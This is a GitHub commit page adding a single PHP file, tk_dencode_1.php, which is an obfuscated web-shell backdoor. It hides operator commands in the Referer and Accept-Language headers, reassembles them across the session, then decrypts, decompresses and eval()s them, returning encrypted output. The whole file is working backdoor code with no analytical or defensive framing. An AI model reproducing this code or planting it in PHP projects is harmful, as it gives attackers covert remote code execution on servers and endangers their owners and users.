Skip to content

Commit a625a73

Browse files
authored
Create tk_dencode_1.php
1 parent f429c62 commit a625a73

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed

php/tk_dencode_1.php

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
<?php $kh = "3481";
2+
$kf = "9d7b";
3+
function x($t, $k) {
4+
$c = strlen($k);
5+
$l = strlen($t);
6+
$o = "";
7+
for ($i = 0;$i < $l;) {
8+
for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
9+
$o.= $t{$i} ^ $k{$j};
10+
}
11+
}
12+
return $o;
13+
}
14+
$r = $_SERVER;
15+
$rr = @$r["HTTP_REFERER"];
16+
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
17+
if ($rr && $ra) {
18+
$u = parse_url($rr);
19+
parse_str($u["query"], $q);
20+
$q = array_values($q);
21+
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
22+
if ($q && $m) {
23+
@session_start();
24+
$s = & $_SESSION;
25+
$ss = "substr";
26+
$sl = "strtolower";
27+
$i = $m[1][0] . $m[1][1];
28+
$h = $sl($ss(md5($i . $kh), 0, 3));
29+
$f = $sl($ss(md5($i . $kf), 0, 3));
30+
$p = "";
31+
for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
32+
if (strpos($p, $h) === 0) {
33+
$s[$i] = "";
34+
$p = $ss($p, 3);
35+
}
36+
if (array_key_exists($i, $s)) {
37+
$s[$i].= $p;
38+
$e = strpos($s[$i], $f);
39+
if ($e) {
40+
$k = $kh . $kf;
41+
ob_start();
42+
eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
43+
$o = ob_get_contents();
44+
ob_end_clean();
45+
$d = base64_encode(x(gzcompress($o), $k));
46+
print ("<$k>$d</$k>");
47+
@session_destroy();
48+
}
49+
}
50+
}
51+
};
52+
?>

0 commit comments

Comments
 (0)